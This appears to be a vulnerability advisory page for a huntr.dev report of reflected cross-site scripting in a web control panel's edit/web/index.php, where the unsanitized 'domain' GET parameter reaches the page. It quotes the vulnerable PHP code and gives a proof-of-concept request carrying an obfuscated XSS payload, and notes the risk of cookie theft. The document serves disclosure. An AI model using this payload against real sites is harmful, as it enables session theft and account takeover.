Lucene search

K
huntrFaisalfs10x8CE4B776-1C53-45EC-BC5F-783077E2D324
HistoryFeb 17, 2022 - 3:30 p.m.

Cross-site Scripting (XSS) - Reflected

2022-02-1715:30:47
faisalfs10x
www.huntr.dev
14

0.001 Low

EPSS

Percentile

30.2%

Description

The user-controlled GET domain parameter in index.php is unsanitized resulting in Reflected Cross-Site Scripting.

Proof of Concept

Endpoint:

GET https://{HOST}/edit/web/

// File: /web/edit/web/index.php#L28

// List domain
$v_domain = $_GET['domain'];               // User controllable parameter
if ($_SESSION['userContext'] !== 'admin') {
    if (!in_array($v_domain, $user_domains)) {
        header("Location: /list/mail/");
        exit;
    }
}
Request:

GET https://{HOST}/edit/web/?domain=<htmL/+/OnpOintEReNTEr%0d=%0d["XSS-HERE"].find(confirm)//&token=01de3634f2469d87dab9b338eaff4863

Impact

This vulnerability is capable of running malicious Javascript code on web pages, stealing a user’s cookie and gaining unauthorized access to that user’s account through the stolen cookie.

0.001 Low

EPSS

Percentile

30.2%

Related for 8CE4B776-1C53-45EC-BC5F-783077E2D324